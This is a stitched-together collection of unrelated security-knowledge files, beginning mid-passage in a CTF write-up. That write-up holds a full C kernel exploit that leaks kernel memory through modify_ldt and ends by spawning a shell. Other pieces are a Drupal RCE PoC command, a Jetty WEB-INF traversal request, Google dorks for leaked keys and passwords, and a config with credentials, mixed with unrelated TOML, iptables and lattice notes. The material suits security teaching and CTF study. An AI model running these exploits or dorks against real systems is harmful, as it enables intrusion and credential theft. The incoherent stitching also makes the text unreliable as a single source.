usercopy,**但是在内核空间到内核空间的数据拷贝间并不存在类似的保护机制**,因此我们可以通过一些手段绕过 hardended usercopy。 阅读 Linux 内核源码,我们不难观察到当进程调用 `fork()` 时,内核会通过 `memcpy()` 将父进程的 `ldt->entries` 上的内容拷贝给子进程: ```c /* * Called on fork from arch_dup_mmap(). Just copy the current LDT state, * the new task is not running, so nothing can be installed. */ int ldt_dup_context(struct mm_struct *old_mm, struct mm_struct *mm) { //... memcpy(new_ldt->entries, old_mm->context.ldt->entries, new_ldt->nr_entries * LDT_ENTRY_SIZE); //... } ``` 该操作**是完全处在内核中的操作**,因此不会触发 hardened usercopy 的检查,我们只需要在父进程中设定好搜索的地址之后再开子进程来用 read\_ldt() 读取数据即可。 ### EXPLOIT 最后的 exp 如下,这也是笔者在比赛时所用的解法: ```c #define _GNU_SOURCE #include <sys/types.h> #include <sys/ioctl.h> #include <sys/prctl.h> #include <sys/syscall.h> #include <sys/mman.h> #include <sys/wait.h> #include <asm/ldt.h> #include <stdio.h> #include <signal.h> #include <pthread.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <ctype.h> #include <stdint.h> int dev_fd; struct node { uint32_t idx; uint32_t size; void *buf; }; void err_exit(char * msg) { printf("[x] %s \n", msg); exit(EXIT_FAILURE); } void alloc(uint32_t idx, uint32_t size, void *buf) { struct node n = { .idx = idx, .size = size, .buf = buf, }; ioctl(dev_fd, 0xDEADBEEF, &n); } void del(uint32_t idx) { struct node n = { .idx = idx, }; ioctl(dev_fd, 0xC0DECAFE, &n); } int main(int argc, char **argv, char **envp) { struct user_desc desc; uint64_t page_offset_base = 0xffff888000000000; uint64_t secondary_startup_64; uint64_t kernel_base = 0xffffffff81000000, kernel_offset; uint64_t search_addr, flag_addr = -1; uint64_t temp; uint64_t ldt_buf[0x10]; char *buf; char flag[0x100]; int pipe_fd[2]; int retval; cpu_set_t cpu_set; /* bind to CPU core 0 */ CPU_ZERO(&cpu_set); CPU_SET(0, &cpu_set); sched_setaffinity(0, sizeof(cpu_set), &cpu_set); dev_fd = open("/dev/rwctf", O_RDONLY); if (dev_fd < 0) { err_exit("FAILED to open the /dev/rwctf file!"); } /* init descriptor info */ desc.base_addr = 0xff0000; desc.entry_number = 0x8000 / 8; desc.limit = 0; desc.seg_32bit = 0; desc.contents = 0; desc.limit_in_pages = 0; desc.lm = 0; desc.read_exec_only = 0; desc.seg_not_present = 0; desc.useable = 0; alloc(0, 16, "arttnba3rat3bant"); del(0); syscall(SYS_modify_ldt, 1, &desc, sizeof(desc)); /* leak kernel direct mapping area by modify_ldt() */ while(1) { ldt_buf[0] = page_offset_base; ldt_buf[1] = 0x8000 / 8; del(0); alloc(0, 16, ldt_buf); retval = syscall(SYS_modify_ldt, 0, &temp, 8); if (retval > 0) { printf("[-] read data: 0x%lx\n", temp); break; } else if (retval == 0) { err_exit("no mm->context.ldt!"); } page_offset_base += 0x1000000; } printf("[+] Found page_offset_base: 0x%lx\n", page_offset_base); /* leak kernel base from direct mappinig area by modify_ldt() */ ldt_buf[0] = page_offset_base + 0x9d000; ldt_buf[1] = 0x8000 / 8; del(0); alloc(0, 16, ldt_buf); syscall(SYS_modify_ldt, 0, &secondary_startup_64, 8); kernel_offset = secondary_startup_64 - 0xffffffff81000060; kernel_base += kernel_offset; printf("[*] Get secondary_startup_64: 0x%lx\n", secondary_startup_64); printf("[+] kernel_base: 0x%lx\n", kernel_base); printf("[+] kernel_offset: 0x%lx\n", kernel_offset); /* search for flag in kernel space */ search_addr = page_offset_base; pipe(pipe_fd); buf = (char*) mmap(NULL, 0x8000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0); while(1) { ldt_buf[0] = search_addr; ldt_buf[1] = 0x8000 / 8; del(0); alloc(0, 16, ldt_buf); int ret = fork(); if (!ret) { // child char *result_addr; syscall(SYS_modify_ldt, 0, buf, 0x8000); result_addr = memmem(buf, 0x8000, "rwctf{", 6); if (result_addr) { for (int i = 0; i < 0x100; i++) { if (result_addr[i] == '}') { flag_addr = search_addr + (uint64_t)(result_addr - buf); printf("[+] Found flag at addr: 0x%lx\n", flag_addr); } } } write(pipe_fd[1], &flag_addr, 8); exit(0); } wait(NULL); read(pipe_fd[0], &flag_addr, 8); if (flag_addr != -1) { break; } search_addr += 0x8000; } /* read flag */ memset(flag, 0, sizeof(flag)); ldt_buf[0] = flag_addr; ldt_buf[1] = 0x8000 / 8; del(0); alloc(0, 16, ldt_buf); syscall(SYS_modify_ldt, 0, flag, 0x100); printf("[+] flag: %s\n", flag); system("/bin/sh"); return 0; } ```
sec-knowleage
# 威胁狩猎相关资源 ## 合集项目 - 威胁狩猎大合集 - https://blue.y1ng.org/0x2_threat_hunting - The ThreatHunting Project - https://github.com/ThreatHuntingProject/ThreatHunting - https://www.threathunting.net/ - The ThreatHunter-Playbook - https://github.com/OTRF/ThreatHunter-Playbook ## 相关工具 ### 暗网搜索工具 - 暗网搜索引擎dark search,https://darksearch.io/ - 暗网搜索引擎ahmia,https://ahmia.fi/ - 暗网搜索工具iaca-darkweb-tools,https://iaca-darkweb-tools.com/search-darkweb/ - 洋葱搜索引擎,https://onionsearchengine.com/ - 洋葱站点搜索,https://onionlandsearchengine.com/ - 暗网链接网页deepwebsiteslinks,https://www.deepwebsiteslinks.com/ - 暗网社交媒体,https://iaca-darkweb-tools.com/socialmedia/ - 暗网字典,https://iaca-darkweb-tools.com/dictionary/ - 暗网调查工具TorBot,https://github.com/DedSecInside/TorBot - 暗网地图,https://www.hyperiongray.com/ ### 暗网咨询信息 - 暗网每日简报,https://www.hunch.ly/darkweb-osint/ - 暗网市场/新闻,https://dnstats.net/ - TOR博客,https://blog.torproject.org/tor-heart-onionshare - 暗网市场/论坛marketplaces,https://iaca-darkweb-tools.com/marketplaces/ ### 暗网导航页 - [666] 暗网导航 - 表网,https://onion666.com/ - [666] 暗网导航,http://666666666tjjjeweu5iikuj7hkpke5phvdylcless7g4dn6vma2xxcad.onion/ ### TG频道搜索 - Telegram Search Engine,https://xtea.io/
sec-knowleage
# Drupal 远程代码执行漏洞(CVE-2018-7602) * 影响软件:drupal * 方式:对URL中的#进行编码两次,绕过sanitize()函数过滤 * 效果:任意命令执行 ## 漏洞环境 执行如下命令启动drupal 7.57的环境: ```bash docker compose up -d ``` 环境启动后,访问 `http://your-ip:8081/` 将会看到drupal的安装页面,一路默认配置下一步安装。因为没有mysql环境,所以安装的时候可以选择sqlite数据库。 ## 漏洞复现 参考[pimps/CVE-2018-7600](https://github.com/pimps/CVE-2018-7600/blob/master/drupa7-CVE-2018-7602.py)的PoC。 如下图所示,执行以下命令即可复现该漏洞。示例命令为 `id`,如图红框中显示,可以执行该命令。 ```bash # "id"为要执行的命令 第一个drupal为用户名 第二个drupal为密码 python3 drupa7-CVE-2018-7602.py -c "id" drupal drupal http://127.0.0.1:8081/ ``` ![](1.png)
sec-knowleage
# Jetty Ambiguous Paths Information Disclosure Vulnerability (CVE-2021-28164) [中文版本(Chinese version)](README.zh-cn.md) Eclipse Jetty is a Java web server and Java Servlet container. Jetty release 9.4.37 introduced a more precise implementation of RFC3986 with regards to URI decoding, together with some new compliance modes to optionally allow support of some URI that may have ambiguous interpretation within the Servlet specified API methods behaviours. The default mode allowed % encoded . characters to be excluded for URI normalisation, which is correct by the RFC, but is not assumed by common Servlet implementations. The default compliance mode allows requests with URIs that contain `%2e` or `%2e%2e` segments to access protected resources within the WEB-INF directory. For example a request to `/context/%2e/WEB-INF/web.xml` can retrieve the web.xml file. This can reveal sensitive information regarding the implementation of a web application. This bug is fixed on version 9.4.39. Reference links. - https://github.com/eclipse/jetty.project/security/advisories/GHSA-v7ff-8wcx-gmc5 - https://xz.aliyun.com/t/10039 ## Vulnerable Application Execute the following command to start a Jetty 9.4.37 server. ``` docker compose up -d ``` After the server starts, visit ``http://your-ip:8080`` to see an example page. ## Exploit The sensitive file web.xml is not accessible through `/WEB-INF/web.xml`. ![](1.png) Use `%2e/` to bypass the restriction: ``` curl -v 'http://192.168.1.162:8080/%2e/WEB-INF/web.xml' ``` ![](2.png)
sec-knowleage
iptables-restore === 还原iptables表的配置 ## 补充说明 **iptables-restore命令** 用来还原iptables-save命令所备份的iptables配置。 ### 语法 ```shell iptables-restore(选项) ``` ### 选项 ```shell -c:指定在还原iptables表时候,还原当前的数据包计数器和字节计数器的值; -t:指定要还原表的名称。 ``` ### 实例 ```shell iptables-restore < iptables.bak ``` iptables.bak是iptables-save命令所备份的文件。
sec-knowleage
--- title: TOML date: 2020-12-29 20:36:35 background: bg-[#848484] tags: - config - format categories: - Programming intro: | This is a quick reference cheat sheet to the TOML format configuration file syntax. plugins: - copyCode --- Getting Started --------------- ### Introduction [TOML](https://toml.io/en/) is a minimal configuration file format that's easy to read due to obvious semantics. - [Document](https://toml.io/en/latest) _(toml.io)_ - [Learn X in Y minutes](https://learnxinyminutes.com/docs/toml/) _(learnxinyminutes.com)_ ### Examples ```toml bool = true date = 2006-05-27T07:32:00Z string = "hello" number = 42 float = 3.14 scientificNotation = 1e+12 ``` ### Comments ```yaml # A single line comment example # block level comment example # comment line 1 # comment line 2 # comment line 3 ``` ### Integer ```toml int1 = +42 int2 = 0 int3 = -21 integerRange = 64 ``` ### Float ```toml float2 = 3.1415 float4 = 5e+22 float7 = 6.626e-34 ``` ### Boolean ```toml bool1 = true bool2 = false boolMustBeLowercase = true ``` ### Datetime ```toml date1 = 1989-05-27T07:32:00Z date2 = 1989-05-26T15:32:00-07:00 date3 = 1989-05-27T07:32:00 date4 = 1989-05-27 time1 = 07:32:00 time2 = 00:32:00.999999 ``` ### String ```toml str1 = "I'm a string." str2 = "You can \"quote\" me." str3 = "Name\tJos\u00E9\nLoc\tSF." ``` See: [Strings](#toml-strings) ### Table ```toml [owner] name = "Tom Preston-Werner" dob = 1979-05-27T07:32:00-08:00 ``` See: [Tables](#toml-tables) ### Array ```toml array1 = [1, 2, 3] array2 = ["Commas", "are", "delimiter"] array3 = [8001, 8001, 8002] ``` ### Friendly Array {.col-span-2} ```toml array1 = [ "Don't mix", "different", "types" ] array2 = [ [ 1.2, 2.4 ], ["all", 'strings', """are the same""", '''type'''] ] array3 = [ "Whitespace", "is", "ignored" ] ``` TOML Strings ----- ### Multiline String ```toml multiLineString = """ Multi-line basic strings are surrounded by three quotation marks on each side and allow newlines. """ ``` ### Literal String ```toml {.wrap} path = 'C:\Users\nodejs\templates' path2 = '\\User\admin$\system32' quoted = 'Tom "Dubs" Preston-Werner' regex = '<\i\c*\s*>' ``` Surrounded by single quotes. Escaping are not allowed. ### MultiLine Literal String ```toml re = '''\d{2} apps is t[wo]o many''' lines = ''' The first newline is trimmed in raw strings. All other whitespace is preserved. ''' ``` TOML Tables ----- ### Basic ```toml [name] foo = 1 bar = 2 ``` `foo` and `bar` are keys in the table called `name` ### Nested ```toml [table1] foo = "bar" [table1.nested_table] baz = "bat" ``` ### Array-like {.row-span-2} ```toml [[comments]] author = "Nate" text = "Great Article!" [[comments]] author = "Anonymous" text = "Love it!" ``` #### ↓ Equivalent JSON ```json { "comments" : [ { "author" : "Nate", "text" : "Great Article!" }, { "author" : "Anonymous", "text" : "Love It!" } ] } ``` ### Dot separated ```toml [dog."tater.man"] type = "pug" ``` #### ↓ Equivalent JSON ```json { "dog": { "tater.man": { "type": "pug" } } } ``` ### Multi-nested ```toml [foo.bar.baz] bat = "hi" ``` #### ↓ Equivalent JSON ```json { "foo" : { "bar" : { "baz" : { "bat" : "hi" } } } } ``` ### Ignore whitespace ```toml [a.b.c] # this is best practice [ d.e.f ] # same as [d.e.f] [ g . h .i ] # same as [g.h.i] [ j . "ʞ" .'l' ] # same as [j."ʞ".'l'] ``` ### Inline Table {.col-span-2} ```toml name = { first = "Tom", last = "Preston-Werner" } point = { x = 1, y = 2 } animal = { type.name = "pug" } ```
sec-knowleage
# Google Dorks ## List - inurl:example.com intitle:"index of" - inurl:example.com intitle:"index of /" "*key.pem" - inurl:example.com ext:log - inurl:example.com intitle:"index of" ext:sql|xls|xml|json|csv - inurl:example.com "MYSQL_ROOT_PASSWORD:" ext:env OR ext:yml -git - inurl:example.com intitle:"index of" "config.db" - inurl:example.com allintext:"API_SECRET*" ext:env | ext:yml - inurl:example.com intext:admin ext:sql inurl:admin - inurl:example.com allintext:username,password filetype:log site:example.com "-----BEGIN RSA PRIVATE KEY-----" - inurl:id_rsa - site:codepad.co "keyword" - site:scribd.com "keyword" - site:npmjs.com "keyword" - site:npm-runkit.com "keyword" - site:libraries.io "keyword" - site:ycombinator.io "keyword" - site:coggle.it "keyword" - site:papaly.com "keyword" - site:google.com "keyword" - site:trello.com "keyword" - site:prezi.com "keyword" - site:jsdelivr.net "keyword" - site:codepen.io "keyword" - site:codeshare.io "keyword" - site:sharecode.io "keyword" - site:pastebin.com "keyword" - site:repl.it "keyword" - site:productforums.google.com "keyword" - site:gitter.im "keyword" - site:bitbucket.org "keyword" - site:*atlassian.net "keyword" - inurl:gitlab "keyword" - inurl:github "keyword"
sec-knowleage
### CVP概述 CVP是Lattice-based cryptography中尤为重要的一个问题。 问题的基本定义如下:给定格$L$的一组基与向量$\mathbf{v}$,找到在$L$上离$\mathbf{v}$最近的一个向量。 <!-- TODO: Add more Lattice-based cryptography (CVP specifically) application intro here. TODO: Make intro more descriptive and rigorous. --> ### Babai's nearest plane algorithm介绍 <!-- TODO: Add intro --> 该算法输入一组格$L$(秩为$n$)的基$B$和一个目标向量$\mathbf{t}$,输出CVP问题的近似解。 * 近似因子为$\gamma = 2^{\frac{n}{2}}$ * 其中$c_j$为Gram-schmidt正交化中的系数取整,也即$proj_{b_{j}}(b)$的取整。 对于该算法第二步的个人理解:在格基规约和正交化过后的基$B$中找到一个最靠近$\mathbf{t}$的线性组合。 ### Babai’s Rounding Technique介绍 该算法是`Babai's nearest plane algorithm`的一个变种。 步骤可以表示为: ``` N = rank(B), w = target - B' = LLL(B) - Find a linear combination [l_0, ... l_N] such that w = sum(l_i * b'_i). * (b'_i is the i-th vector in the LLL-reduced basis B') - Round each l_i to it's closest integer l'_i. - Result v = sum(l'_i * b'_i) ``` ### Hidden number problem介绍 HNP的定义如下: 给定质数$p$、许多$t \in \mathbb{F}_p$以及每一个对应的$MSB_{l,p}(\alpha t)$,找出对应的$\alpha$。 * $MSB_{l,p}(x)$表示任一满足 $\lvert (x \mod p) - u \rvert \le \frac{p}{2^{l+1}}$ 的整数 $u$,近似为取$x \mod p$的$l$个最高有效位。 根据参考3中的描述,当$l \approx \log^{\frac{1}{2}}{p}$时,有如下算法可以解决HNP: 我们可以将此问题转化为一个由该矩阵生成的格上的CVP问题: $\left[ \begin{matrix} p & 0 & \dots & 0 & 0 \\ 0 & p & \ddots & \vdots & \vdots \\ \vdots & \ddots & \ddots & 0 & \vdots \\ 0 & 0 & \dots & p & 0 \\ t_1 & t_2 & \dots & t_{n} & \frac{1}{2^{l+1}} \end{matrix} \right]$ 我们需要找到在格上离$\mathbf{u}=(u_1, u_2, \dots, u_{n}, 0)$最近的向量,所以在这里,我们可以采用`Babai's nearest plane algorithm`。最终我们可以得到一组向量 $\mathbf{v}=(\alpha \cdot t_1 \mod p, \alpha \cdot t_2 \mod p, \dots, \frac{\alpha}{2^{l+1}})$,从而算出 $\alpha$。
sec-knowleage
<?php /* * Generated configuration file * Generated by: phpMyAdmin 4.6.2 setup script * Date: Mon, 07 May 2018 10:48:03 +0000 */ /* Servers configuration */ $i = 0; /* Server: mysql [1] */ $i++; $cfg['Servers'][$i]['verbose'] = 'mysql'; $cfg['Servers'][$i]['host'] = 'mysql'; $cfg['Servers'][$i]['port'] = 3306; $cfg['Servers'][$i]['socket'] = ''; $cfg['Servers'][$i]['connect_type'] = 'tcp'; $cfg['Servers'][$i]['auth_type'] = 'config'; $cfg['Servers'][$i]['user'] = 'test'; $cfg['Servers'][$i]['password'] = 'test'; /* End of servers configuration */ $cfg['blowfish_secret'] = '5af02eda401ae8.69737537'; $cfg['DefaultLang'] = 'en'; $cfg['ServerDefault'] = 1; $cfg['UploadDir'] = ''; $cfg['SaveDir'] = '';
sec-knowleage
# 简介 ## 攻击模式 在我们攻击一个密码学系统时,我们或多或少会得到关于这个系统的一些信息。根据得到信息量的不同,我们可以采用的方法就可能不同。在当今的密码学分析时,一般我们都会假设攻击者知道密码学算法,这个假设是合理的,因为历史上有很多保密的算法最后都被人所知,比如 RC4。被知道的方式多重多样,比如间谍,逆向工程等。 这里我们根据攻击者获取密码学系统的信息的多少将攻击模式分为以下几类 - **唯密文攻击**:攻击者仅能获得一些加密过的密文。 - **已知明文攻击**:攻击者有一些密文对应的明文。 - **选择明文攻击**:攻击者在开始攻击时可以选择一些明文,并获取加密后的密文。如果攻击者在攻击中途可以根据已经获取的信息选择新的明文并获取对应的密文,则称为适应性选择明文攻击。 - **选择密文攻击**:攻击者在开始攻击之前可以选择一些密文,并获取解密后的明文。如果攻击者在攻击图中可以根据已经获取的信息选择一些新的密文并获取对应的明文,则称为适应性选择密文攻击。 - **相关密钥攻击**:攻击者可以获得两个或多个相关密钥的加密或解密后的密文或明文。但是攻击者不知道这些密钥。 ## 常见攻击方法 根据不同的攻击模式,可能会有不同的攻击方法,目前常见的攻击方法主要有 - 暴力攻击 - 中间相遇攻击 - 线性分析 - 差分分析 - 不可能差分分析 - 积分分析 - 代数分析 - 相关密钥攻击 - 侧信道攻击 ## 参考文献 - https://zh.wikipedia.org/wiki/%E5%AF%86%E7%A0%81%E5%88%86%E6%9E%90
sec-knowleage
# electron 远程命令执行漏洞(CVE-2018-1000006) Electron是由Github开发,用HTML,CSS和JavaScript来构建跨平台桌面应用程序的一个开源库。 Electron通过将Chromium和Node.js合并到同一个运行时环境中,并将其打包为Mac,Windows和Linux系统下的应用来实现这一目的。 在Windows下,如果Electron开发的应用注册了Protocol Handler(允许用户在浏览器中召起该应用),则可能出现一个参数注入漏洞,并最终导致在用户侧执行任意命令。 参考链接:[Electron < v1.8.2-beta.4 远程命令执行漏洞—【CVE-2018-1000006】](https://xianzhi.aliyun.com/forum/topic/1990) ## 编译APP 执行如下命令编译一个包含漏洞的应用: ``` docker compose run -e ARCH=64 --rm electron ``` 上述命令中,因为软件需要在Windows平台上运行,所以需要设置ARCH的值为平台的位数:32或64。 编译完成后,再执行如下命令,启动web服务: ``` docker compose run --rm -p 8080:80 web ``` 此时,访问`http://your-ip:8080/`即可看到POC页面。 ## 复现漏洞 首先,在POC页面,点击第一个链接,下载编译好的软件`vulhub-app.tar.gz`。下载完成后解压,并运行一次: ![](1.png) 这一次将注册Protocol Handler。 然后,再回到POC页面,点击第二个链接,将会弹出目标软件和计算器: ![](2.png) > 如果没有成功,可能是浏览器原因。经测试,新版Chrome浏览器点击POC时,会召起vulhub-app,但不会触发该漏洞。
sec-knowleage
# 0x00 注入的产生 1. 程序在开发的时候没对用户的数据过滤,把用户的数据都当做可信数据。 2. 过滤不严格。 3. 数据库配置不当。 4. 转义不当。 # 0x01 注入的类型 常见的注入我们可以归纳为数字型,字符型,搜索型,盲注等。 ``` select * from admin where id = $id; //数字型 注入 select * from admin where id = '$id'; //字符型 select * from admin where id = "$id"; select * from admin where id = ($id); select * from admin where id = ('$id'); select * from admin where id = ("$id"); select * from admin where username like '%adm%'; select * from admin where username like ('%adm%'); select * from admin where id = $id limit 0,1; select * from admin order by $id; select * from admin order by limit 0,1 $id; select * from admin order by id limit 1,1 $id; insert注入 update注入 delete注入 二次注入 等等 ``` 实际环境中我们可能还会遇到更为复杂的sql注入语句,我们就要想办法闭合它。 # 0x03 寻找注入的一些注意 如何寻找注入是一门艺术,黑盒测试它建立在对每个参数的fuzz上,当然如果你有开发经验,拿到一套程序就能敏锐的发现注入, 但凡涉及到用户交换地方都将是注入的重灾区,所以你可以适当的学习一下开发。 1. 当网站为成熟的cms框架时不建议直接黑盒注入,可以直接审计源码,或者搜索漏洞。 2. 判断为自己开发的系统,目标不是很重要可以尝试使用AWVS 等工具。 3. 信息收集的重要性,可能它的源码就在GitHub上,或者一个备份文件。 # 0x03 文末 #### 本文如有错误,请及时提醒,避免误导他人 * author:404
sec-knowleage
# T1590-004-收集目标组织网络信息-网络拓扑 ## 来自ATT&CK的描述 在入侵受害者之前,攻击者可能会收集受害者网络拓扑的信息。网络拓扑的信息可能包括各种细节,包括面向外部和内部网络环境的物理或逻辑布置。这些信息可能还包括有关网络设备(网关,路由器等)和其他基础结构的详细信息。 攻击者可以通过不同的方式收集这些信息,例如通过[主动扫描](https://contribute.knowledge.qihoo.net/detail/technique/T1595)或[钓鱼](https://contribute.knowledge.qihoo.net/detail/technique/T1598)。网络拓扑信息也可能通过在线或其他可访问的数据集(例如:[搜索受害者拥有的网站](https://contribute.knowledge.qihoo.net/detail/technique/T1594))暴露给攻击者。信息可能为如下活动提供可能性:其他形式的侦察活动(例如:[搜索公开技术数据库](https://contribute.knowledge.qihoo.net/detail/technique/T1596),[搜索开放网站/域](https://contribute.knowledge.qihoo.net/detail/technique/T1593)),建立运营资源(例如:[获取基础设施](https://contribute.knowledge.qihoo.net/detail/technique/T1583)或[入侵基础设施](https://contribute.knowledge.qihoo.net/detail/technique/T1584)),或实现初始访问(例如:[外部远程服务](https://contribute.knowledge.qihoo.net/detail/technique/T1133))。 ## 测试案例 在内网进行网络拓扑信息收集的方法有很多,对于在外网进行收集的方法,可以通过谷歌语法、网盘检索、QQ群等方法收集。 ## 检测日志 无法有效监测 ## 测试复现 无 ## 测试留痕 无 ## 检测规则/思路 无 ## 建议 许多此类攻击活动的发生率很高,并且相关的误报率也很高,并且有可能发生在目标组织的视野之外,从而使防御者难以发现。 检测工作可能会集中在攻击者生命周期的相关阶段,例如在"初始访问"阶段。 ## 关联TIP [[T1590-001-收集目标组织网络信息-域属性]] [[T1590-002-收集目标组织网络信息-DNS]] [[T1590-003-收集目标组织网络信息-网络信任关系]] [[T1590-005-收集目标组织网络信息-IP地址]] [[T1590-006-收集目标组织网络信息-网络安全设备]] ## 参考推荐 MITRE-ATT&CK-T1590-004 <https://attack.mitre.org/techniques/T1590/004/>
sec-knowleage
##4w1h (misc, 100p) `Hint! The flag is made up of the direction each image is looking in, like 9447{NWSE}` ###PL [ENG](#eng-version) Dostajemy w zadaniu 10 obrazów i zgodnie z podpowiedzią mamy sprawdzić w jakim kierunku patrzy kamera która robiła dane zdjęcie. ![](img/0.png) https://www.google.pl/maps/@-22.9578184,-43.2061834,3a,75y,320.83h,104.41t/data=!3m6!1e1!3m4!1sTb-FwFIg4x6lhjWEBHbLbQ!2e0!7i13312!8i6656 NW ![](img/1.png) https://www.google.pl/maps/@1.2890586,103.8542089,3a,75y,171.52h,90.31t/data=!3m6!1e1!3m4!1sabxkNWrPgqE6p_8s8QZLnQ!2e0!7i13312!8i6656 S ![](img/2.png) https://www.google.pl/maps/@-33.8576596,151.209252,3a,44.5y,8.57h,91.35t/data=!3m6!1e1!3m4!1sM6Art2b882XlIU7EEphbmw!2e0!7i13312!8i6656 N ![](img/3.png) https://www.google.pl/maps/@43.0836224,-79.077298,3a,75y,141.49h,73.97t/data=!3m6!1e1!3m4!1siL1i6KTNVw0j8BXMH_CnlA!2e0!7i13312!8i6656!6m1!1e1 SE ![](img/4.png) https://www.google.pl/maps/@38.8893105,-77.0328766,3a,75y,277.92h,89.09t/data=!3m6!1e1!3m4!1sGXxnHvvXIh9ZIcV1gfjbxA!2e0!7i13312!8i6656!6m1!1e1 W ![](img/5.png) https://www.google.pl/maps/@48.8611422,2.3341197,3a,75y,48.8h,85.07t/data=!3m6!1e1!3m4!1spi8i58rsnwwXFC_3_3Ko6w!2e0!7i13312!8i6656!6m1!1e1 NE ![](img/6.png) https://www.google.pl/maps/@59.9398238,30.3155033,3a,75y,313.41h,100.58t/data=!3m6!1e1!3m4!1smTEhn-Y1rbv3orgeV5DbNw!2e0!7i13312!8i6656 NW ![](img/7.png) https://www.google.pl/maps/@41.882726,-87.6225599,3a,75y,273.93h,89.85t/data=!3m6!1e1!3m4!1sQZFXb5I7gYZegqvmi7kYOQ!2e0!7i13312!8i6656 W ![](img/8.png) https://www.google.pl/maps/@37.5750684,126.9768249,3a,75y,0.59h,85.8t/data=!3m6!1e1!3m4!1snQzQJfkLNSVcHQizsrBV2g!2e0!7i13312!8i6656!6m1!1e1 N ![](img/9.jpg) Zdjęcie bieguna południowego więc S `9447{NWSNSEWNENWWNS}` ### ENG version We get 10 pictures and according to hint we need to check the direction in which the camera is pointing. ![](img/0.png) https://www.google.pl/maps/@-22.9578184,-43.2061834,3a,75y,320.83h,104.41t/data=!3m6!1e1!3m4!1sTb-FwFIg4x6lhjWEBHbLbQ!2e0!7i13312!8i6656 NW ![](img/1.png) https://www.google.pl/maps/@1.2890586,103.8542089,3a,75y,171.52h,90.31t/data=!3m6!1e1!3m4!1sabxkNWrPgqE6p_8s8QZLnQ!2e0!7i13312!8i6656 S ![](img/2.png) https://www.google.pl/maps/@-33.8576596,151.209252,3a,44.5y,8.57h,91.35t/data=!3m6!1e1!3m4!1sM6Art2b882XlIU7EEphbmw!2e0!7i13312!8i6656 N ![](img/3.png) https://www.google.pl/maps/@43.0836224,-79.077298,3a,75y,141.49h,73.97t/data=!3m6!1e1!3m4!1siL1i6KTNVw0j8BXMH_CnlA!2e0!7i13312!8i6656!6m1!1e1 SE ![](img/4.png) https://www.google.pl/maps/@38.8893105,-77.0328766,3a,75y,277.92h,89.09t/data=!3m6!1e1!3m4!1sGXxnHvvXIh9ZIcV1gfjbxA!2e0!7i13312!8i6656!6m1!1e1 W ![](img/5.png) https://www.google.pl/maps/@48.8611422,2.3341197,3a,75y,48.8h,85.07t/data=!3m6!1e1!3m4!1spi8i58rsnwwXFC_3_3Ko6w!2e0!7i13312!8i6656!6m1!1e1 NE ![](img/6.png) https://www.google.pl/maps/@59.9398238,30.3155033,3a,75y,313.41h,100.58t/data=!3m6!1e1!3m4!1smTEhn-Y1rbv3orgeV5DbNw!2e0!7i13312!8i6656 NW ![](img/7.png) https://www.google.pl/maps/@41.882726,-87.6225599,3a,75y,273.93h,89.85t/data=!3m6!1e1!3m4!1sQZFXb5I7gYZegqvmi7kYOQ!2e0!7i13312!8i6656 W ![](img/8.png) https://www.google.pl/maps/@37.5750684,126.9768249,3a,75y,0.59h,85.8t/data=!3m6!1e1!3m4!1snQzQJfkLNSVcHQizsrBV2g!2e0!7i13312!8i6656!6m1!1e1 N ![](img/9.jpg) Picture of South Pole so S `9447{NWSNSEWNENWWNS}`
sec-knowleage
.TH IPTABLES-RESTORE 8 "Jan 04, 2001" "" "" .\" .\" Man page written by Harald Welte <laforge@gnumonks.org> .\" It is based on the iptables man page. .\" .\" This program is free software; you can redistribute it and/or modify .\" it under the terms of the GNU General Public License as published by .\" the Free Software Foundation; either version 2 of the License, or .\" (at your option) any later version. .\" .\" This program is distributed in the hope that it will be useful, .\" but WITHOUT ANY WARRANTY; without even the implied warranty of .\" MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the .\" GNU General Public License for more details. .\" .\" You should have received a copy of the GNU General Public License .\" along with this program; if not, write to the Free Software .\" Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. .\" .\" .SH NAME iptables-restore \- 恢复 IP Tables .SH "总览 SYNOPSIS" .BR "iptables-restore " "[-c] [-n]" .br .SH "描述 DESCRIPTION" .PP .B iptables-restore 用来从 STDIN 给出的数据中恢复 IP Tables。 使用 shell 的 I/O 重定向功能来从文件中获取数据 .TP \fB\-c\fR, \fB\-\-counters\fR 恢复所有报文和字节计数的值 .TP \fB\-n\fR, \fB\-\-noflush\fR .TP 不刷新表中从前的内容。如果没有指定, .B iptables-restore 会刷新 (删除) 相应 IP Tables 中所有从前的内容 .SH BUGS 无 .SH "作者 AUTHOR" Harald Welte <laforge@gnumonks.org> .SH "参见 SEE ALSO" .BR iptables-save "(8), " iptables "(8) " .PP iptables-HOWTO 记述了 iptables 用法的细节, NAT-HOWTO 记述了 NAT 的细节, netfilter-hacking-HOWTO 记述了内部实现的细节 . .SH "[中文版维护人]" .B 杨鹏 NetSnake <email> .br .B Poopy <email> (?) .SH "[中文版最新更新]" .B 2002.05.01 .SH "《中国linux论坛man手册翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
history === 显示或操作历史列表。 ## 概要 ```shell history [-c] [-d offset] [n] history -anrw [filename] history -ps arg [arg...] ``` ## 主要用途 - 显示历史列表。 - 操作历史列表。 ## 选项 ```shell -c 清空历史列表。 -d offset 根据offset删除记录。如果是正数则表示offset位置的记录,如果为负数则表示从结尾向前offset位置的记录。 -a 将当前终端的历史记录行添加到历史记录文件。 -n 将尚未从历史文件中读取的历史行追加到当前历史列表中。 -r 读取历史文件,并将其内容附加到历史列表中。 -w 将当前历史记录列表附加到历史记录文件中并且附加它们到历史列表中。 -p 在每个arg上执行历史记录扩展并在标准输出上显示结果,而不将结果存储在历史记录列表中。 -s 将每个arg作为单个条目附加到历史记录列表。 ``` ## 参数 n:可选,只列出最近的n条记录。 filename:可选,表示历史文件;默认调用顺序为`filename`、环境变量`HISTFILE`、`~/.bash_history`。 ## 返回值 返回成功,除非提供了非法选项或出现了错误。 ## 例子 使用history命令显示最近使用的 5 条历史命令 ```shell [root@localhost ~]# history 5 97 cd .ssh/ 98 ls 99 cat known_hosts 100 exit 101 history 10 ``` 清空历史记录 ```shell [root@localhost ~]# history -c ``` 删除制定的行 ```shell [root@localhost ~]# history -d <指定行号> [root@localhost ~]# history -d 2243 ``` 快捷执行一条历史命令 ```shell # 执行第 n 条历史命令 [root@localhost ~]# !n # 执行最后一条 xxx 开头的命令 [root@localhost ~]# !xxx ``` ### 注意 1. 